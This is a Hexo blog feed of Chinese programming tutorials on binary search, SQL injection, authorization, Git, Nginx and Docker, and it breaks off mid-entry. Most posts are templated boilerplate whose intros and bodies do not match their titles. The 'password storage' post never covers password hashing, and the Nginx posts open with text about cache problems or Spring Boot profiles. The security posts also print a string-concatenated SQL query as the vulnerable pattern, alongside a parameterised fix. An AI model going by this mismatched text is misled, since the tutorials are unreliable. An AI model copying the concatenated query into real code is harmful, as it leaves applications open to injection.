        <content type="html"><![CDATA[<h1 id="教程：二分查找为什么容易写错"><a href="#教程：二分查找为什么容易写错" class="headerlink" title="教程：二分查找为什么容易写错"></a>教程：二分查找为什么容易写错</h1><p>二分查找看似简单，实际写起来却很容易出错。本文讲它的常见变体和注意事项。</p><h2 id="先写清楚输入和输出"><a href="#先写清楚输入和输出" class="headerlink" title="先写清楚输入和输出"></a>先写清楚输入和输出</h2><p>算法题最怕脑子里觉得懂，代码一写就错。先把输入、输出、边界条件列出来。</p><p>以二分查找为例：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">binarySearch</span><span class="params">(<span class="type">int</span>[] nums, <span class="type">int</span> target)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">left</span> <span class="operator">=</span> <span class="number">0</span>, right = nums.length - <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">while</span> (left &lt;= right) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">mid</span> <span class="operator">=</span> left + (right - left) / <span class="number">2</span>;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] == target) <span class="keyword">return</span> mid;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] &lt; target) left = mid + <span class="number">1</span>;</span><br><span class="line">        <span class="keyword">else</span> right = mid - <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> -<span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="验证边界"><a href="#验证边界" class="headerlink" title="验证边界"></a>验证边界</h2><p>至少测试：空数组、只有一个元素、目标在开头、目标在结尾、目标不存在。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 算法 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：密码存储为什么不能明文</title>
      <link href="//mi-ma-cun-chu-wei-shi-me-bu-neng-ming-wen/"/>
      <url>//mi-ma-cun-chu-wei-shi-me-bu-neng-ming-wen/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：密码存储为什么不能明文"><a href="#教程：密码存储为什么不能明文" class="headerlink" title="教程：密码存储为什么不能明文"></a>教程：密码存储为什么不能明文</h1><p>密码为什么不能明文存储，这是一个基础但容易被忽视的问题。本文讲正确的做法。</p><h2 id="安全问题要默认不信任输入"><a href="#安全问题要默认不信任输入" class="headerlink" title="安全问题要默认不信任输入"></a>安全问题要默认不信任输入</h2><p>无论是表单、URL 参数、Header，还是内部系统传来的字段，都不能天然相信。后端必须做校验、鉴权和日志审计。</p><h2 id="SQL-注入的例子"><a href="#SQL-注入的例子" class="headerlink" title="SQL 注入的例子"></a>SQL 注入的例子</h2><p>危险写法：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">sql</span> <span class="operator">=</span> <span class="string">&quot;select * from user where name = &#x27;&quot;</span> + name + <span class="string">&quot;&#x27;&quot;</span>;</span><br></pre></td></tr></table></figure><p>推荐使用预编译参数：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> name <span class="operator">=</span> ?;</span><br></pre></td></tr></table></figure><p>在 MyBatis 中优先使用 <code>#{name}</code>，不要用 <code>${name}</code> 拼接用户输入。</p><h2 id="权限校验"><a href="#权限校验" class="headerlink" title="权限校验"></a>权限校验</h2><p>登录只说明“你是谁”，权限校验才说明“你能做什么”。敏感操作必须在服务端校验资源归属。</p>]]></content>
      
      
      <categories>
          
          <category> 安全 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 安全 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：接口鉴权和权限校验的区别</title>
      <link href="//jie-kou-jian-quan-he-quan-xian-xiao-yan-de-qu-bie/"/>
      <url>//jie-kou-jian-quan-he-quan-xian-xiao-yan-de-qu-bie/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：接口鉴权和权限校验的区别"><a href="#教程：接口鉴权和权限校验的区别" class="headerlink" title="教程：接口鉴权和权限校验的区别"></a>教程：接口鉴权和权限校验的区别</h1><p>接口鉴权和权限校验是两个不同层次的概念。本文讲它们的区别和实现方式。</p><h2 id="安全问题要默认不信任输入"><a href="#安全问题要默认不信任输入" class="headerlink" title="安全问题要默认不信任输入"></a>安全问题要默认不信任输入</h2><p>无论是表单、URL 参数、Header，还是内部系统传来的字段，都不能天然相信。后端必须做校验、鉴权和日志审计。</p><h2 id="SQL-注入的例子"><a href="#SQL-注入的例子" class="headerlink" title="SQL 注入的例子"></a>SQL 注入的例子</h2><p>危险写法：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">sql</span> <span class="operator">=</span> <span class="string">&quot;select * from user where name = &#x27;&quot;</span> + name + <span class="string">&quot;&#x27;&quot;</span>;</span><br></pre></td></tr></table></figure><p>推荐使用预编译参数：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> name <span class="operator">=</span> ?;</span><br></pre></td></tr></table></figure><p>在 MyBatis 中优先使用 <code>#{name}</code>，不要用 <code>${name}</code> 拼接用户输入。</p><h2 id="权限校验"><a href="#权限校验" class="headerlink" title="权限校验"></a>权限校验</h2><p>登录只说明“你是谁”，权限校验才说明“你能做什么”。敏感操作必须在服务端校验资源归属。</p>]]></content>
      
      
      <categories>
          
          <category> 安全 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 安全 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：SQL 注入原理和防护方法</title>
      <link href="//sql-zhu-ru-yuan-li-he-fang-hu-fang-fa/"/>
      <url>//sql-zhu-ru-yuan-li-he-fang-hu-fang-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：SQL-注入原理和防护方法"><a href="#教程：SQL-注入原理和防护方法" class="headerlink" title="教程：SQL 注入原理和防护方法"></a>教程：SQL 注入原理和防护方法</h1><p>教程：SQL 注入原理和防护方法是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。</p><h2 id="安全问题要默认不信任输入"><a href="#安全问题要默认不信任输入" class="headerlink" title="安全问题要默认不信任输入"></a>安全问题要默认不信任输入</h2><p>无论是表单、URL 参数、Header，还是内部系统传来的字段，都不能天然相信。后端必须做校验、鉴权和日志审计。</p><h2 id="SQL-注入的例子"><a href="#SQL-注入的例子" class="headerlink" title="SQL 注入的例子"></a>SQL 注入的例子</h2><p>危险写法：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">sql</span> <span class="operator">=</span> <span class="string">&quot;select * from user where name = &#x27;&quot;</span> + name + <span class="string">&quot;&#x27;&quot;</span>;</span><br></pre></td></tr></table></figure><p>推荐使用预编译参数：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> name <span class="operator">=</span> ?;</span><br></pre></td></tr></table></figure><p>在 MyBatis 中优先使用 <code>#{name}</code>，不要用 <code>${name}</code> 拼接用户输入。</p><h2 id="权限校验"><a href="#权限校验" class="headerlink" title="权限校验"></a>权限校验</h2><p>登录只说明“你是谁”，权限校验才说明“你能做什么”。敏感操作必须在服务端校验资源归属。</p>]]></content>
      
      
      <categories>
          
          <category> 安全 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 安全 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：Git 冲突解决的正确顺序</title>
      <link href="//git-chong-tu-jie-jue-de-zheng-que-shun-xu/"/>
      <url>//git-chong-tu-jie-jue-de-zheng-que-shun-xu/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：Git-冲突解决的正确顺序"><a href="#教程：Git-冲突解决的正确顺序" class="headerlink" title="教程：Git 冲突解决的正确顺序"></a>教程：Git 冲突解决的正确顺序</h1><p>Git rebase 和 merge 是开发中经常讨论的话题。本文讲它们的区别和适用场景。</p><h2 id="提交前先看清楚改动"><a href="#提交前先看清楚改动" class="headerlink" title="提交前先看清楚改动"></a>提交前先看清楚改动</h2><p>Git 最重要的习惯是提交前看 diff：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git status</span><br><span class="line">git diff</span><br><span class="line">git diff --cached</span><br></pre></td></tr></table></figure><p>确认没有调试代码、临时文件、无关格式化，再提交。</p><h2 id="推荐的小步提交"><a href="#推荐的小步提交" class="headerlink" title="推荐的小步提交"></a>推荐的小步提交</h2><p>一次提交只做一件事，例如：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git add src/main/java/com/example/UserService.java</span><br><span class="line">git commit -m <span class="string">&quot;fix: handle empty user result&quot;</span></span><br></pre></td></tr></table></figure><p>如果既改了接口又改了样式，最好拆成两个提交。后续回滚和 review 都会更轻松。</p><h2 id="冲突怎么处理"><a href="#冲突怎么处理" class="headerlink" title="冲突怎么处理"></a>冲突怎么处理</h2><p>遇到冲突不要机械选择 ours/theirs。先看双方分别想解决什么问题，再手动合并。合并后至少跑一遍相关测试。</p>]]></content>
      
      
      <categories>
          
          <category> Git </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Git </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：Git rebase 和 merge 怎么选</title>
      <link href="//git-rebase-he-merge-zen-me-xuan/"/>
      <url>//git-rebase-he-merge-zen-me-xuan/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：Git-rebase-和-merge-怎么选"><a href="#教程：Git-rebase-和-merge-怎么选" class="headerlink" title="教程：Git rebase 和 merge 怎么选"></a>教程：Git rebase 和 merge 怎么选</h1><p>Git rebase 和 merge 是开发中经常讨论的话题。本文讲它们的区别和适用场景。</p><h2 id="提交前先看清楚改动"><a href="#提交前先看清楚改动" class="headerlink" title="提交前先看清楚改动"></a>提交前先看清楚改动</h2><p>Git 最重要的习惯是提交前看 diff：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git status</span><br><span class="line">git diff</span><br><span class="line">git diff --cached</span><br></pre></td></tr></table></figure><p>确认没有调试代码、临时文件、无关格式化，再提交。</p><h2 id="推荐的小步提交"><a href="#推荐的小步提交" class="headerlink" title="推荐的小步提交"></a>推荐的小步提交</h2><p>一次提交只做一件事，例如：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git add src/main/java/com/example/UserService.java</span><br><span class="line">git commit -m <span class="string">&quot;fix: handle empty user result&quot;</span></span><br></pre></td></tr></table></figure><p>如果既改了接口又改了样式，最好拆成两个提交。后续回滚和 review 都会更轻松。</p><h2 id="冲突怎么处理"><a href="#冲突怎么处理" class="headerlink" title="冲突怎么处理"></a>冲突怎么处理</h2><p>遇到冲突不要机械选择 ours/theirs。先看双方分别想解决什么问题，再手动合并。合并后至少跑一遍相关测试。</p>]]></content>
      
      
      <categories>
          
          <category> Git </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Git </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：Git 提交前如何检查改动</title>
      <link href="//git-ti-jiao-qian-ru-he-jian-cha-gai-dong/"/>
      <url>//git-ti-jiao-qian-ru-he-jian-cha-gai-dong/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：Git-提交前如何检查改动"><a href="#教程：Git-提交前如何检查改动" class="headerlink" title="教程：Git 提交前如何检查改动"></a>教程：Git 提交前如何检查改动</h1><p>Git rebase 和 merge 是开发中经常讨论的话题。本文讲它们的区别和适用场景。</p><h2 id="提交前先看清楚改动"><a href="#提交前先看清楚改动" class="headerlink" title="提交前先看清楚改动"></a>提交前先看清楚改动</h2><p>Git 最重要的习惯是提交前看 diff：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git status</span><br><span class="line">git diff</span><br><span class="line">git diff --cached</span><br></pre></td></tr></table></figure><p>确认没有调试代码、临时文件、无关格式化，再提交。</p><h2 id="推荐的小步提交"><a href="#推荐的小步提交" class="headerlink" title="推荐的小步提交"></a>推荐的小步提交</h2><p>一次提交只做一件事，例如：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git add src/main/java/com/example/UserService.java</span><br><span class="line">git commit -m <span class="string">&quot;fix: handle empty user result&quot;</span></span><br></pre></td></tr></table></figure><p>如果既改了接口又改了样式，最好拆成两个提交。后续回滚和 review 都会更轻松。</p><h2 id="冲突怎么处理"><a href="#冲突怎么处理" class="headerlink" title="冲突怎么处理"></a>冲突怎么处理</h2><p>遇到冲突不要机械选择 ours/theirs。先看双方分别想解决什么问题，再手动合并。合并后至少跑一遍相关测试。</p>]]></content>
      
      
      <categories>
          
          <category> Git </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Git </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：Nginx 配置修改后的验证流程</title>
      <link href="//nginx-pei-zhi-xiu-gai-hou-de-yan-zheng-liu-cheng/"/>
      <url>//nginx-pei-zhi-xiu-gai-hou-de-yan-zheng-liu-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：Nginx-配置修改后的验证流程"><a href="#教程：Nginx-配置修改后的验证流程" class="headerlink" title="教程：Nginx 配置修改后的验证流程"></a>教程：Nginx 配置修改后的验证流程</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Nginx </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> Nginx </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：Nginx 静态资源缓存配置</title>
      <link href="//nginx-jing-tai-zi-yuan-huan-cun-pei-zhi/"/>
      <url>//nginx-jing-tai-zi-yuan-huan-cun-pei-zhi/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：Nginx-静态资源缓存配置"><a href="#教程：Nginx-静态资源缓存配置" class="headerlink" title="教程：Nginx 静态资源缓存配置"></a>教程：Nginx 静态资源缓存配置</h1><p>缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Nginx </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> Nginx </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：Nginx 反向代理配置入门</title>
      <link href="//nginx-fan-xiang-dai-li-pei-zhi-ru-men/"/>
      <url>//nginx-fan-xiang-dai-li-pei-zhi-ru-men/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：Nginx-反向代理配置入门"><a href="#教程：Nginx-反向代理配置入门" class="headerlink" title="教程：Nginx 反向代理配置入门"></a>教程：Nginx 反向代理配置入门</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Nginx </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> Nginx </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：容器健康检查为什么重要</title>
      <link href="//rong-qi-jian-kang-jian-cha-wei-shi-me-chong-yao/"/>
      <url>//rong-qi-jian-kang-jian-cha-wei-shi-me-chong-yao/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：容器健康检查为什么重要"><a href="#教程：容器健康检查为什么重要" class="headerlink" title="教程：容器健康检查为什么重要"></a>教程：容器健康检查为什么重要</h1><p>容器健康检查是保证服务稳定的重要一环。本文讲为什么重要以及如何做。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Docker </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> docker </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：docker compose 部署单机服务</title>
      <link href="//docker-compose-bu-shu-dan-ji-fu-wu/"/>
      <url>//docker-compose-bu-shu-dan-ji-fu-wu/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：docker-compose-部署单机服务"><a href="#教程：docker-compose-部署单机服务" class="headerlink" title="教程：docker compose 部署单机服务"></a>教程：docker compose 部署单机服务</h1><p>Dockerfile 的分层缓存和镜像优化是部署时最容易忽略的。本文讲一些实用技巧。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Docker </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> docker </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：Docker 容器日志和数据卷实践</title>
      <link href="//docker-rong-qi-ri-zhi-he-shu-ju-juan-shi-jian/"/>
      <url>//docker-rong-qi-ri-zhi-he-shu-ju-juan-shi-jian/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：Docker-容器日志和数据卷实践"><a href="#教程：Docker-容器日志和数据卷实践" class="headerlink" title="教程：Docker 容器日志和数据卷实践"></a>教程：Docker 容器日志和数据卷实践</h1><p>日志是线上排查的生命线。本文讲 Spring Boot 中日志配置、分级输出和排查技巧。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Docker </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> docker </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：Dockerfile 分层缓存和镜像优化</title>
      <link href="//dockerfile-fen-ceng-huan-cun-he-jing-xiang-you-hua/"/>
      <url>//dockerfile-fen-ceng-huan-cun-he-jing-xiang-you-hua/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：Dockerfile-分层缓存和镜像优化"><a href="#教程：Dockerfile-分层缓存和镜像优化" class="headerlink" title="教程：Dockerfile 分层缓存和镜像优化"></a>教程：Dockerfile 分层缓存和镜像优化</h1><p>缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" 